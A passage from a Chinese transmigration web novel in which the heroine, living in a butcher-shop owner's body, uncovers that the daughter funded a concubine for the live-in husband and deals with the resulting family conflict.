“那怎么可能?”冷小幸在心里翻个白眼道:“他要真做假账绝对瞒不过我的法眼。高氏和他手上余钱都不多,绝对不够私养外室,这是头一件。”
“第二件,吕令仪在哪里?为什么这一世的外室姓柳?第三,前世杀死你的真凶究竟是谁?这些都得弄清楚。”
张阿蛮听了,问道:“再让铁妞去找后生,问桂花巷里的人房子是谁的吗?”
“不,我亲自去。”冷小幸取了几吊钱,换了身衣裳出门。
张阿蛮系统满以为冷小幸去桂花巷,它想象着对峙画面有些亢奋激动。
不想冷小幸竟往官府去了。
“你走错了,你,你要去哪?你,你到府衙干什么?”张阿蛮系统的亢奋激动消失的无影无踪,取而代之的是紧张害怕。
它小民心态,轻易不愿与官府打交道。
冷小幸连皇帝都不知做过多少次了,自然对官府没有敬畏之心。
她径直到县衙户房,对里面正趴在案上抄地契的书吏道:“劳烦官人查个房。”
书吏眼皮都不台,没没好气道:“查什么房?街巷、方位、模样,你又与房主是何关系,说清楚些。”
冷小幸向前跨一步,拿出一串铜钱,轻放在书案道:“城西桂花巷倒数第二间土胚房。”
“呦,”书吏抬头见是冷小幸,把铜钱收进袖子里笑道:“这不是腊肉铺的张掌柜嘛,你家肉铺的肉现在可难抢啦。”
“官人说笑了,小本买卖,我回去就让伙计给府上送一份,您别嫌弃才好。”冷小幸亦笑道。
“哎呦,不用,不用,太客气啦。”书吏说着起身从身后架上抽出一本地契簿,翻了几页,手指停在一页上,眯着眼睛道:“找到了。这房,户主名是张亚男,这是你家的?”
“哦,是我闺女。我隐约听说她动了一笔嫁妆,怕她人小被骗,多谢官人。”冷小幸说完,辞了书吏出了官府。
张阿蛮系统喃喃自语道:“亚男,怎么会是她?她出钱给姓郭的养外室?!”
“你先别急,也许她是被她爹骗了。”冷小幸一面安抚张阿蛮系统,一面快步回家。
到了肉铺,她先让伙计给文书家送一份肉,又叫丫鬟到韩家去,说高氏病了,让张亚男回来看看。
张亚男看过高氏后,冷小幸便强行携她回屋。
张亚男脸上犹带着不服气,她也不吭声,坐在凳子上低头喝茶。
冷小幸没有任何铺垫,不咸不淡道:“说说吧,桂花巷的房子,还有里面的柳氏是怎么回事?”
张亚男猝不及防,手里的茶碗没拿稳,砸在地上,摔得四分五裂。
她声如蚊呐道:“娘,您都知道了。”
“你为什么要这么做?”冷小幸百思不得其解,真恨不得劈开张亚男的脑袋,看看她脑子里装的是什么?
张亚男理直气壮道:“还不是因为娘,您不肯听我的给爹纳妾,我只好自己出钱把柳氏娶进门。娘,我真的都是为了你好。你要实在容不得
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柳氏,等她生下弟弟,就抱到你身边养,可好?”
“你,你糊涂啊。”冷小幸指着张亚男,一时没说出话,她穿梭过无数个小世界如张亚男般蠢钝如猪者寥寥无几。
识海中的张阿蛮系统炸了,她道:“你不中用!让我来,我教你骂她。”
冷小幸满脑子张阿蛮系统的强势输出,再看看一脸“我是为了你好”表情的张亚男,实在不想卷入她们母女之间,也深深同情张阿蛮竟生出个这么不知好歹孽障。
她深吸一口气,对张阿蛮系统道:“不必,你亲自与她说。”
张阿蛮系统还没明白怎么回事,突然发觉自己拿回了身体的控制权,脑中响起冷小幸的声音:“只有半盏茶的时间,你抓紧。”
张阿蛮系统先是狠狠拍了下桌面,她胸脯剧烈起伏盯着张亚男怒道:“我险些被你们父女俩蒙在鼓里,你哪来的钱?那是我做娘的给你攒的嫁妆,是怕你到韩家受委屈才多多陪嫁,你到外面打听打听像咱们家这样的,谁家给女儿陪嫁那么多!你倒好,拱手送给那吃软饭的白眼狼,让他去外面养女人。”
“娘,您别这么说爹。”张亚男被她盯的头皮发麻,梗着脖子道:“娘,您只知道钱、钱、钱,可您想过吗?爹入赘咱们家这么多年,受了多少委屈。”
张阿蛮系统瞋目怒骂:“他受委屈?他肩不能挑,手不能抗,没干过一点活,整日捧着书本,对我爱答不理,我还小心翼翼伺候他,你瞎了,看不到?他委屈吗?谁家赘婿过着这样的好日子?”
“是,您待他好,”张亚男红着眼睛道:“可爹爹终究姓郭啊,又只有我这一个女儿,还姓张。”
张阿蛮系统闻言一愣,满脸错愕道:“你竟是这么想的?”
“娘,”张亚男流泪哽咽道:“我已经出嫁了,往后咱家的门户谁来撑?您百年之后,谁给您上坟添土?”
张阿蛮系统抖着嘴唇,手指着张亚男,说不出话来。
张亚男觉得张阿蛮系统终于把她的话听进去了,终于知道自个这么做都是为她好。
拿帕子擦了擦眼泪,张亚男向前挪了挪,凑近张阿蛮系统,拉着她的手笑道:“娘,我叫人看过了柳氏身子骨硬朗,是个好生养的。等她生下弟弟,郭家就有后了。将来您到了地下,也能对郭家列祖列宗有个交代。”
张阿蛮系统猛地甩开张亚男的手,抬手一巴掌狠狠打在张亚男脸上,颤声道:“郭家,跟我张家有什么关系?你姓张不姓郭!留后?留的哪门子后?你难道不明白吗?姓郭的是想生个带把的,吞掉我张家。”
“张家是你的吗?我张家祖祖辈辈靠着杀猪的手艺攒下的家业,跟你这个小畜生有什么关系?”张阿蛮系统又给了张亚男一耳光厉声道:“你不是口口声声说你是出嫁女,韩家妇,你竟然联合外人,瞒着我,给我插刀子。”
“你说,我有什么对不起的你,你要这么害我!”张阿蛮系统连声追问,恨不得掐死张亚男。
“娘,娘,”张亚男慌了,大哭道:“您误会了,我怎么会害您呢,我是为了您好啊,您怎么就不明白我的苦心呢?”
40.代夫纳妾求子的商户女8
“苦心?”张阿蛮系统闻言怒火攻心,喉咙一甜歪头吐出一口鲜血。
张亚男见了,惊慌失措,急忙上前一手搀扶住张阿蛮系统,一手不断给她胸口顺气,带着哭腔道:“娘,您,您怎么了?您别吓我呀。”
张阿蛮系统将张亚男的手拨拉开,又狠狠推了她一把道:“滚!我不是你娘,你去找那姓柳的贱人,她才是你娘。”
“娘,你胡说些什么呀。”张亚男委屈极了。
张阿蛮系统见张亚男仍不知错,当下暴怒,操起桌子上的茶碗、茶壶,劈头盖脸向张亚男砸去。
张亚男猝不及防,不及躲开,淋了一头一脸的茶叶水,额头也被砸到划破一道口子,渗出鲜血。
张阿蛮系统犹不解气,连推带搡,将张亚男赶出门去。
外面张铁妞等人听到动静,赶过来见满地狼藉,张阿蛮系统嘴角带血,张亚男额头有伤。几人顿时忙乱起来,有去叫郎中的,有扶张阿蛮系统的,又收拾碎片的,还有团团转的。
厨娘死死拉住张亚男,不让她往张阿蛮系统身前凑。
厨娘看着张亚男脸上血迹心疼道:“姑奶奶这是怎么了?头都流血了,快随我来。”
说罢,厨娘将张亚男带到自己房中,打水给她洗了脸,又清洁伤口,小心仔细敷上药粉,最后用绢布包扎好。
张亚男眼泪掉个不停,厨娘心下酸涩,却也不好多问。
收拾好了,两人又赶去看张阿蛮系统。
张阿蛮系统早已换回冷小幸,她道:“不碍事,一时血不归经罢了。”
其他人哪里肯依,硬把她按在床上。
待郎中来了,一番望闻问切后道:“这是气郁化火、血随气涌所致的呕血。张掌柜莫要再动怒了,平日需平心静气才是,再这般大动肝火,怕是会损及心脉。我先开一副止血顺气、疏肝理气的方子,张掌柜喝了,安心静养几日也就好了。”
郎中诊治时,张亚男就站在门外,不敢进来,直到张铁妞送郎中走,她才进来怯生生小声道:“娘。”
冷小幸躺在床上闭眼背过身,对守在一旁的丫鬟道:“叫她出去,我不想看见她。”
丫鬟只得上前,对张亚男道:“姑奶奶先回去吧,东家在气头上呢。等过几日她气消了,您再来。”
张亚男磨磨蹭蹭,不肯走。
送完郎中回来的张铁妞见状,对张亚男实诚道:“姐姐,还是先回去吧,郎中说了表姑现下不能动气......”
张亚男这下可找到了发泄口,不等张铁妞说完,她便指着张铁妞鼻子骂道:“都是你这起子小人挑唆,才让我娘误会我,你个不要脸黑心的东西,也敢消想着我们家的产业,日日哄骗我娘,我打死你。”
说着,伸手去打张铁妞。
张铁妞不敢还手,一边躲一边道:“姐姐,我没有这样的心思。”
张亚男不管不顾,眼见就要一巴掌落在张铁妞脸上。
原本躺在床上的冷小幸也不知是怎么动的,已近身一手将张铁妞拉到身后护住,一手为掌打中张亚男肩头将张亚男打翻在地。
张亚男捂着肩膀,错愕道:“娘。”
冷小幸居高临下,对张亚男喝道:“快滚!你若再不走,我就亲自到韩家,请你婆婆夫君来把领你回去。”
“娘,你怎么能这么对我!”张亚男愤而指责道。
冷小幸不理张亚男,对张铁妞道:“你随我一起去韩家。”
她大步向前,目不斜视,根本不理在脚边的张亚男。
张亚男见状,情急之下抱住冷小幸的腿惨叫道:“娘,你这样让我怎么还有脸在韩家待下去?”
冷小幸声如寒冰:“放开。”
张亚男一个激灵,只觉肩头剧痛,她咬唇松手,在厨娘的搀扶下,颤颤巍巍起身,泪流满面道:“娘,您真的要赶我走?”
冷小幸扭头对丫鬟道:“去拿几样给韩家的礼。”
张亚男气急,跺着脚道:“好,我走就是了。”
说罢,捂着脸一气儿跑出门。
厨娘看着张亚男背影担忧道:“东家,这。”
冷小幸板着脸道:“不必理她,你们都下去忙吧。”
接着,她拦住张铁妞道:“你随我来。”
进了屋,张铁妞要扶冷小幸去床上躺下。
冷小幸摆手不用,她坐在凳子上,对张铁妞道:“你方才为什么不还手?”
“表姑,我,我......”张铁妞我了半天,最后冒出来一句:“表姑,您别生气了。无论亚男姐姐做了什么,说了什么,她的心是好的,您别怪她。”
冷小幸盯着张铁妞看了许久,摇头长叹道:“罢了,你也去忙吧。”
“哎,我扶您躺着。”张铁妞伸手扶冷小幸道。
这次冷小幸没有拒绝。
张铁妞给冷小幸盖好被子道:“表姑,您先躺着,我去看看药煎好了没。”
冷小幸点点头,侧身看着张铁妞出门,她对张阿蛮系统道:“真是一样米百样人,她若是你亲闺女,你得少受多少闲气。”
张阿蛮系统不接话茬,却道:“你还好吧?”
“这话从何说起?”冷小幸轻笑道。
“我虽然不知道刚才你是怎么做到的,但我们突然交换,你必定付出了极大的代价。”张阿蛮系统真诚道:“谢谢你,有什么是我能为你做的吗?你尽管开口,我一定办到。”
“不要轻易做出这样的承诺,”冷小幸笑意更深道:“我就说你和张铁妞才像亲母女。此事你不必放在心上。倘若有朝一日我真有需要你帮忙之处,自会开口。放心,一定是你力所能及之事。”
一人一统口中的张铁妞正在厨房熬药,厨娘和丫鬟在一旁做肉。
高氏问她们三个:“刚刚那么大阵仗,知道发生什么了吗?阿蛮跟亚男吵什么?
三人皆摇头,说不知。
高氏有心去看看冷小幸,但她心里有鬼,不敢往上撞,便想等郭楚生回来,两人商议一番,再行动。
郭楚生此刻正在桂花巷的温柔乡里。
而跑出门的张亚男也没回韩家,她头上有伤,脸上还有巴掌印,不想被韩家人嗤笑,一气之下到桂花巷找她爹郭楚生诉委屈。
郭楚生一听事情这般严重,匆匆安慰了张亚男两句,急忙往家赶。
张亚男一肚子的委屈还没说完,郭楚生
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就走了,她伤心极了,坐在屋中吧嗒吧嗒掉眼泪。
柳氏端了一碗花生汤,搁张亚男手边桌上,拿帕子轻柔地给张亚男擦眼泪,一面擦一面说:“姑娘快别哭了,眼睛肿的像核桃,看着真叫姨娘心疼,喝点花生汤,润润喉咙吧。”
张亚男不自在撇过脸,躲开柳氏。
柳氏见状放下手,涩声道“都怪我,若不是你爹纳我进门,也不会让你们母女为此吵起来,要不我还是走吧。”
“不干姨娘的事,”张亚男扭过头对柳氏道:“你千万别这么想。”
柳氏伸手把张亚男一丝乱发挽到她耳后,叹道:“你爹常与我说,他这辈子最亏欠的就是你。”
张亚男闻言身形一顿。
柳氏继续道:“你爹说,当年他入赘,是心甘情愿的,但连累让你跟着你娘姓,是他心头的一根刺。你若姓郭,好歹是读书人家的姑娘,可你姓张,便是屠夫家的女儿。”
“你爹说,以前他怕这会影响你婚嫁,好在你顺顺利利嫁进韩家,”柳氏仿佛郭楚生附体般欣慰道:“他总算了了这桩心事。”
张亚男低头不说话。
柳氏把花生汤递到张亚男手中道:“姑娘快喝吧,凉了就不好喝了。”
张亚男收了泪,拿起勺子一小口一小口喝汤。
柳氏打趣道:“听说以前有个穷秀才煮出的花生汤,汤色乳白,花生酥烂入口即化。后来穷秀才高中,便有了这状元花生汤。姑娘喝了这汤,想必韩家公子也快高中了。”
“姑娘,你听姨娘一句劝,”柳氏推心置腹道:“你以后是要做管家娘子的,可不能跟你娘吵嘴,传出去只能是你的不是,还得连累韩公子。”
张亚男听柳氏字字句句为她着想,再想到自个亲娘的无情,不由悲从中来,又哭了起来。
柳氏自责道:“都是我的不是,不会说话,倒引得姑娘伤心了。快别哭了,不说哭坏了身子,就是回韩家叫人瞧见也是不好。”
张亚男听了这话,不免想到韩家那些惯爱嚼舌根的主子下人。
自她嫁入韩家,暗地里受过些不好对他人言说窝囊气。归根到底还不是因为韩家人嫌弃她是屠夫家的女儿,就连丈夫对她也不甚体贴恩爱,平日里虽躺在一张床上,但也是各睡各的罢了。
柳氏的话让张亚男心中浮现出一个从未想过的念头:对她可以改姓郭,那她就是举人老爷的女儿,谁还敢对她的出身指指点点,背地里嘲笑她?
柳氏见张亚男眼睛一亮似是想明白了,她便道:“我今日多嘴了,这些话原不该我对姑娘说,姑娘可千万不要告诉你爹,不然我怕他嫌我多嘴多舌。”
张亚男放下碗,拉着柳氏的手道:“姨娘放心,我绝不会告诉爹爹。”
两人气氛融洽,有说有笑。
没一会,一个小丫头引着一个郎中从门外进来道:“姨娘,郎中来了。”
张亚男问道:“这是怎么了?姨娘哪里不舒服?”
“这几日身子不大爽利,”柳氏羞涩浅笑道:“方才你爹在这,让丫头去叫个郎中来,不想这会才来。”
张亚男猜到几分,起身对郎中热切道:“您这边请,快给我姨娘瞧瞧。”
41.代夫纳妾求子的商户女9
郎中搭脉片刻,拱手道:“恭喜恭喜,这位娘子有孕了。”
“真的?多久了?”张亚男眉开眼笑道。
郎中捻须道:“一月有余。”
张亚男大喜,从袖中拿铜钱塞到郎中手中,她一叠声问:“可能看出男女?胎儿是否康健?可要吃些什么药?”
郎中把铜钱收入袖中道:“如今时日尚短,还诊不出是男是女。娘子脉象平稳、不必用药,只需忌口生冷辛辣、少劳累多静养,每十五天诊一次脉即可。”
张亚男欢欢喜喜,亲自送走郎中,回身对柳氏道:“可惜爹爹不在这,不然他定十分高兴,我这就找人送信给他。”
柳氏赶忙拉住道:“姑娘,这会老爷怕是正跟夫人在一处,怕是不大方便。”
张亚男这才反应过来,她收了笑,叹道:“也不知这会爹爹如何了。”
被刘张二人惦记的郭楚生,正站在张家主卧紧闭的门外殷勤小意对里面冷小幸道:“娘子你先让我进来吧,事情不是你想的那样,我好生跟你解释。”
冷小幸烦不胜烦,对着刚喂她吃完药的张铁妞道:“你去把他赶走。”
张铁妞端着药碗打开门。
郭楚生不知张铁妞也在屋里,见她出来,想到自个方才的话也叫张铁妞听了去,脸上热辣辣的,好不自在。
张铁妞对郭楚生道:“姑丈,方才郎中来过,说表姑不能动怒,您站在这于事无补。只会让她更生气。有这功夫,不如先去把那外室处置了。”
郭楚生闻言面皮一抽,挺起腰板道:“你算什么东西,也敢这么跟我说话?真是目无尊长,毫无教养。”
“我虽父母早亡,但有幸得祖父看护长大,毫无教养这四个字,我可不敢当。”张铁妞毫不畏惧道:“姑丈,您是举人老爷,但也是张家的赘婿,私置外室,礼法难容。现下姑母已被气病。您若再纠缠不清,我就去请张家族老来,共议此事,您看如何?”
郭楚生自持身份,不愿与张铁妞分说,拂袖而去。
高氏迎上他问:“如何?”
郭楚生脚步不停与高氏一起到东厢房,关上门才将事情经过讲与高氏。
“唉,”高氏恨声道:“都怪亚男那个死丫头,嘴上没个把门,这可如何是好?”
郭楚生沉默良久,阳光透过窗户打在他脸上,昏暗不明。
高氏惦记着未到手的腊肉方子,对郭楚生道:“如今尚不到与张家翻脸的时候,若是柳氏事发,恐与我儿名声有损。为今之计,先将柳氏打发了吧。”
郭楚生念着柳氏温柔婉约,又是家道败落书生家的女儿,粗通文墨,绝非张阿蛮那个挥刀杀猪的屠夫能比,很是舍不得。
“你若舍不得,先另安置了她,糊弄过张氏便是。”高氏见状道:“再说以后离了张家,凭我儿的身份样貌,定然还有别的女子争着抢着嫁给你,切不可因小失大。”
郭楚生这才点头答应。
高氏怕柳氏哭闹,郭楚生心软节外生枝,便道:“我随你一起去。你男人家家有些话不好说,我来说吧。”
“也好,有劳娘亲。”郭楚生道。
事不宜迟,母子俩赶往桂花巷,进了屋,见柳氏半靠在床上,一旁的小丫头和张亚男皆喜气洋洋。
柳氏见他们来了,连忙起身下床。
张亚男伸手制止她道:“奶奶、爹,姨娘有孕了。”
此言一出,瞬间堵住了高氏与郭楚生想要说出口的话。
郭楚生先反应过来道:“郎中来过了?”
柳姨娘不顾张亚男阻拦,扶着小丫头的手臂下床,给高氏、郭楚生行过礼,红着脸道:“来过了,说是已有一个月。”
郭楚生膝下只有张亚男一女,这些年盼儿子盼的眼睛都绿了,可张阿蛮就是生不出,他也不愿与张阿蛮过于亲近。咋听闻柳氏有孕,哪里还顾得上要将柳氏打发走之事,对柳氏和颜悦色问道:“可有不适?”
高氏盼孙儿之心更胜郭楚生,只盯着柳氏肚子瞧。
柳氏含羞道:“郎中说都好,没什么不适的。”
张亚男在旁凑趣道:“我看姨娘这一胎必定是个儿子。”
说得在场众人都笑了起来。
一时间其乐融融,仿佛这四个不同姓氏的人才是真正的一家人。
柳氏扶着肚子道:“若真是个小子,也不求其它,只求他以后为大姑娘撑腰便好。”
郭楚生等三人见柳氏如此懂事,更是开怀。
几人说说笑笑,直到晚膳前,张亚男不好在柳氏这吃饭,且她脸上巴掌印已消散的差不多,便回韩家去了。
到了韩家,张亚男回房换了身衣服,匆匆赶到韩夫人房中,伺候韩夫人用晚饭。
韩夫人见她额头用绢布包着,问道:“头上怎么了?”
“不打紧,不小心绊了一跤。”张亚男摸着额头道:“让母亲担心了,都是我的不是。”
韩夫人随口“嗯”了一声,转头对张亚男的二嫂道:“谨哥第一天上学堂,你瞧着如何?”
“听说先生第一课,就是教孩子们写自家姓氏,说这是一生根基,不能忘本。” 韩二嫂抿嘴笑道:“娘,您是不知道,谨儿写的大字我见了,唉哟,歪歪扭扭的不像样。”
“他才多大,能写对就行。”韩夫人含笑道。
说者无心,听者有意。
一旁张亚男只觉心头一刺,不小心跌落了筷子。
韩夫人不满看过来道:“你成婚这么久了,还是这般毛毛躁躁,罢了,我这不用你伺候,下去吧。”
张亚男张了张嘴,有心分辨两句,却见韩夫人早就转过头同其他儿媳说笑。
咬了咬嘴唇,张亚男低头行礼,退了出去。
身后传来五弟妹的娇笑声:“娘,您别动怒,三嫂不是有意的。”
“是呀,三弟妹娘家想来没有这些规矩,她不惯如此也是有的。”韩家大嫂也跟着补了一句。
张亚男眼泪含在眼眶里,忍气往自个院落走。
她回房后,觉得胸口闷闷的,推开窗户见月光如水,清冷地洒在院中青石板上,又想起白日那个念头。
不知过了多久,有丫鬟来报:“三奶奶,三少爷今晚要在书房看书,不回房。”
“知道了。”张亚男回神道。
她原本举棋不定,还想与韩家三少爷商量是否改姓,现下突觉索然无味,不必与他商量。
同一时间,郭楚生、冷小幸这对假夫妻已商议
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了许久。
准确点说,是郭楚生已对冷小幸说了好一会软话。
他道:“娘子,千错万错都是我的错,可柳氏已有孕在身,实在是不好就这么把她打发了,娘子你大人大量。不如等她生下孩子,将孩子抱给娘子,再把人远远打发走。”
旁边的高氏也帮腔道:“阿蛮,孩子从小抱来在你之跟前长大,不叫他知道柳氏,跟你亲生的无异。以后咱们家也有人撑门楣,亚男也有兄弟撑腰。”
冷小幸垂下眼眸对道张阿蛮系统道:“你听够了吗?开心了吗?”
“够了,够了,”张阿蛮系统撇嘴道:“没听到的时候日日夜夜盼他们母子说句好听的,听到了也就那么回事,恶心死了,快叫他们走吧。”
冷小幸便对郭楚生道:“既如此,不能让柳氏在外面无名无分的,省得将来生下孩子说不清谁的种,明日就将她纳进来吧。”
“娘子宽容大量。”郭楚生忙笑道。
眼见他们母子还要再说下去,冷小幸耷拉着脸道:“我乏了。你们出去吧。”
郭楚生母子闻言,讪讪却也不敢再说,怕冷小幸改变主意。
他们一走,守在门外的张铁妞就进来道:“表姑。我看姑丈他们高兴的很,是因为他们把柳氏打发了,你原谅他们了吗?”
“没有,我同意纳柳氏进门了。”
“表姑,”张铁妞真心为自己的表姑感到委屈。
冷小幸笑了笑,招手让张铁妞过来,摸着她的脑袋道:“傻孩子,有时候退一步是为了进十步。别担心了,我没原谅他们。你呀,把咱家生意照顾好就行。”
“知道了,表姑。”张铁妞听了,眼睛瞬间亮起来,脆生生道:“还有什么要我做的,您尽管吩咐。”
冷小幸欣慰道:“好。”
郭楚生是张家赘婿,他要纳妾需经张阿蛮同意,张家族长召集族老开会,出具《宗族允纳妾甘结》文书,与柳氏娘家签订纳妾契约,最后将纳妾契约与宗族允纳妾甘结一并交张家宗族,方为正理。
冷小幸对郭楚生道:“柳氏有孕,不宜大操大办,我看一切从简,也无需叫族老们来,倒令你面上无光,还得受责问。我去求族长出一份宗族允纳妾甘结,也就罢了。”
“娘子所言即是。”郭楚生感激道。
冷小幸嘴角勾笑道:“你不嫌简薄便好。”
很快,两份文书备齐,就近选了个好日子,一台小轿把柳氏送进门。
张家并未大肆宣扬,连酒都没有摆,只让柳氏在堂屋当着家里几个人的面对冷小幸行了侧室礼。
冷小幸给了柳氏一对银镯子,便算是纳妾礼成。
郭楚生不觉仪式简薄,柳姨娘心中却有些委屈,
若不是柳家败落,柳姨娘给郭楚生做正头娘子也使得。
如今做妾也罢了,为了活着不必苛求自己,以前是外室到底没有名分,进了张家过了明路,对于柳姨娘来说是件好事。
这道理柳姨娘懂得,可她仍觉意难平。
没见到冷小幸之前,柳姨娘私心觉得冷小幸是个女屠夫,到底是下九流,虽然妻妾身份有别,但两人容貌气度定然相差甚远。
冷小幸若是见到她,必定自惭形秽。
42.代夫纳妾求子的商户女10
可没想到,真见了面,冷小幸虽容貌不及她,但在气势上胜她千万倍,压着她不自觉低头行礼,大气不敢出。
其实柳姨娘想差了,别说是面对冷小幸这个经历过无数小世界的满级大佬,她招架不住。
就算在她面前是真正的张阿蛮,她也同样招架不住。
无他,张阿蛮是真正当家做主,动过刀见过血的女人,绝非柳姨娘这样的娇花可比。
在对待妾室这个问题上,冷小幸、张阿蛮系统虽然原因不同,但态度一致,她们认为做妾室的人本身没有错,无论这个女人是吕令仪还是柳姨娘。
作为赘婿还敢纳妾的郭楚生虽然无耻了些,但也没有大错。
冷小幸是因为她认为不能用当朝的剑斩前朝的人,更不能用后世的观念苛责过去的人。
张阿蛮系统则是因为它本就是这个时代的人,纳妾是件司空见惯的事。
张家没有多余的屋子。
冷小幸做主叫柳姨娘主仆住到堂屋西侧,张亚男未出嫁时的闺房。
相比于以前的桂花巷土坯房,柳姨娘的居住环境差了许多。
冷小幸并不会刻意搓磨她,但该她守的规矩也不会破例免除。
柳姨娘心中不满,却不敢跟冷小幸较劲,反而因身为妾室需对冷小幸事事恭谨,又要对郭楚生柔顺体贴,还要孝敬高氏,一肚子的不痛快没地发。
直到愚蠢的张亚男再次出现在她面前。
张亚男到底嫁了人,成了家,不能总是往外跑,等她再次去探望柳姨娘时,才知柳姨娘已被接到张家。
张亚男不免诧异,为何没人通知她?等她回到娘家,才知不是没有通知她,而是没有摆酒,没通知任何人,就让柳姨娘匆忙进门了。
为此,张亚男还特地对柳姨娘道:“委屈姨娘了。”
柳姨娘温柔笑道:“不委屈,想来夫人惦记我有孕在身,不易操劳,才如此为之。”
“嗯,应该是这样。”张亚男没听出柳姨娘的话外音点头附和道。
柳姨娘留她喝茶吃点心。
张亚男坐了一会,听小丫鬟说冷小幸从外面回来了,她便有些不自在。
柳姨娘见状劝道:“姑娘去看看夫人吧。这些时日,想必夫人也十分惦念姑娘。”
“我才不去,”张亚男撇嘴道:“我是来看姨娘的,又不是来看她的。”
“姑娘可别这么说,我哪里担得起。”柳姨娘莞然一笑道:“母女哪有隔日仇?姑娘快去吧,夫人上次打了姑娘心中定然十分悔恨,待见了姑娘,定会好好补偿姑娘的,姑娘可别耍小性才是。”
柳姨娘好言好语哄了张亚男半日,张亚男才别别扭扭去见冷小幸。
孝道大过天的时代,张亚男也没指望冷小幸能给她道歉,满心以为冷小幸起码会像柳姨娘所说那般,对她嘘寒问暖。
她便着这个台阶与母亲和好如初。
却不想冷小幸正眼都不看张亚男,只让张铁妞把当初张亚男买柳姨娘主仆的钱给她。
张亚男实在不解,冷小幸都许柳姨娘进门了,竟还对她摆脸子。
一气之下张亚男也不理冷小幸,且从此以后回娘家她便只到柳姨娘处坐,不肯去见冷小幸。
为了这事,柳姨娘着实不安,生怕冷小幸因此记恨她。
她实在劝不动张亚男,便去找冷小幸请罪。
冷小幸听完柳姨娘春秋笔墨般请罪后,并未戳破她在其中起到的作用,也没有不满柳姨娘避重就轻的说辞,人皆有趋利避害的本能,在这一点上冷小幸从不会强求为了生存的小人物做圣人。
她见柳姨娘面色惶恐,并非作伪,便故作不以为然道:“亚男的性子,我尽知,此事与你无关,你不必为此担忧。倒是你,我却有几句话想说。”
柳姨娘忙俯身道:“夫人请讲。”
“我听郎中说你胎相稳固,适量活动也有利于胎儿健康,”冷小幸微笑道:“不知你是否有意帮铺子生意分担一些。”
“还请夫人吩咐,妾身自当全力以赴。”柳姨娘立刻应下。
冷小幸摆手道:“你有孕在身,量力而为就行。那些重活粗活也不必你干。只是有些礼单要写,你既会写字,便写几份吧。”
“是,”柳姨娘恭谨道。
礼单是冷小幸预备附在冬至节前,孝敬城中官员的腊肉食盒中。
本城冬至有搓丸祭祖、亲友互赠腊味的习俗。
同时冬至作为古代重要节气,地方商户、士绅向官员送冬至礼也是惯例,冷小幸并不打算打破这个惯例,给张家招来祸患。
需要送礼的官员并不多,冷小幸不耐烦与郭楚生为此事掰扯,听他说那些冠冕堂皇的理由。
原主张阿蛮写的字实在不能用于礼单,冷小幸又不想在这样的小事上费心思伪装她短期内练字有成。
至于张铁妞等人,那手烂字想叫旁人认出来都难。
雇人写不划算,柳姨娘恰能胜任,若是柳姨娘能从此事开始意识到可以靠自己自力更生,不必事事依附他人最好不过。
冷小幸自觉这样的安排非常完美。
然而在柳姨娘看来,这分明是冷小幸故意羞辱她,闺阁笔墨岂能随意流出?
但柳姨娘也不提出异议,她顺从领了笔墨纸砚,问清如何写后,拿了名单便回房埋头苦干。
傍晚照常和大伙一起在堂屋用饭。
冷小幸随口问了句:“写的怎么样了?”
“写了一些,”柳姨娘低头道。
郭楚生听见,本想问一句,但冷小幸也转头问伙计铺子诸事,他见插不进嘴,遂作罢。
夜间,郭楚生惦记这事,无心看书,索性离了书房去寻柳姨娘。
进屋,就见屋中点了一盏小煤油灯,柳姨娘正伏案奋笔疾书,头也不抬。
郭楚生走近,轻声问道:“写什么呢?”
“啊,”柳姨娘被吓了一跳,一笔滑落,写废一张,她拿起放在一边,娇声道:“老爷怎么来了?也不出声,倒唬了妾身一跳。”
“是你自个写的入神,”郭楚生半搂着柳姨娘,刮着她的鼻尖道:“你还没说,到底写什么呢?这么晚了,仔细把眼睛熬坏,明日再写吧。”
柳姨娘柔弱无力红着眼推郭楚生答非所问道:“老爷去夫人那歇吧。”
还没等郭楚生再说。
小丫鬟在旁道:“老爷,夫人让我们姨娘写礼单,有好多呢,姨娘说今夜要熬夜写
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完才成。”
“闭嘴,”柳姨娘打断小丫鬟,又对郭楚生道:“老爷,别听她胡说,只是几份罢了,哪里有那样夸张?我不过是闲着写几笔。在这家里头,老爷和老太太都要干活,我怎么能什么都不干呢,等人伺候呢?”
“我没胡说,要是没写完,夫人又该问了。”小丫鬟嘟囔道。
柳姨娘气急指着小丫鬟道:“你还敢说,再不听话,明儿我禀了夫人赶你出去。”
小丫鬟忙低头做鹌鹑样。
“老爷别担心,没事的,还有几张就写完了,您别放在心上。”柳姨娘对郭楚生柔声细语道。
她越这样说,郭楚生越觉脸上挂不住,他安抚了柳姨娘几句,就去找冷小幸。
冷小幸本不想见郭楚生,听闻他是为了柳姨娘和礼单而来,才勉为其难让他进门。
郭楚生道:“方才我看了惠娘写的礼单,瞧着实在是不像样。”
“你是说她写字不好?”冷小幸皱眉道。
“啊,不是,是因为她写的是簪花小楷,不适宜用于给官府大人们的礼单。”
冷小幸眉头舒展,沉吟道:“这确是我没考虑周到。”
“夫人整天忙里忙外,哪里顾得上这些?不若由我来写吧。”郭楚生笑道。
他心知张阿蛮爱慕于他,必然舍不得他折腰书写,定会另雇文书,这事也就了。
可没想到冷小幸看着他,神情中带着满意道:“如此甚好,笔墨纸砚和官员名单,都在柳姨娘那,该怎么写,我已教过她,你照着她写成的去写便是。”
“对了,你不比柳姨娘清闲,还得算账呢,可千万要记得抽空写完。若是因你误了冬至礼,那你就亲自去给各位大人赔罪。”冷小幸补充道。
郭楚生张嘴欲言。
冷小幸摆手道:“放心,不会让你一个人去的,我会让铁妞带着礼盒与你同去。”
郭楚生:“......”
“好了,就这么定了,时不可待,你快回去写吧。”冷小幸下逐客令。
“夫人,”郭楚生急道:“......”
未等郭楚生说完,冷小幸一拍桌子厉声道:“姓郭的,我给你脸了是不是?你要再敢跟我纠缠,我就把你用闺女嫁妆钱养外室的事,传的满大街都是,不知道到时你郭大举人丢不丢得起这个人。”
“你,你,你真是个悍妇。”郭楚生抖着嘴唇道。
冷小幸霍然起身,边挽袖子边道:“你叫见识见识什么才叫悍妇。”
见状,郭楚生脑海中闪过张亚男脸上清晰的巴掌印,他条件反射捂住脸,连连后退,嘴里说着:“唯女子与小人难养也,我不与你一般见识。”接着拂袖而去。
冷小幸施施然放下袖子,对张阿蛮系统道:“‘唯女子与小人为难养也,近之则不孙,远之则怨。’他既说不对原文,也不解其意,他的功名真是自己考吗?还有他为什么那么喜欢甩袖子的动作?一点也不好看呀。”
“这个我也不知道,大概是他自个觉得这样很有风度吧。”张阿蛮系统早对郭楚生没有任何兴趣,她敷衍一句,转而摸着下巴道:“柳姨娘和上一世的吕令仪不同。”
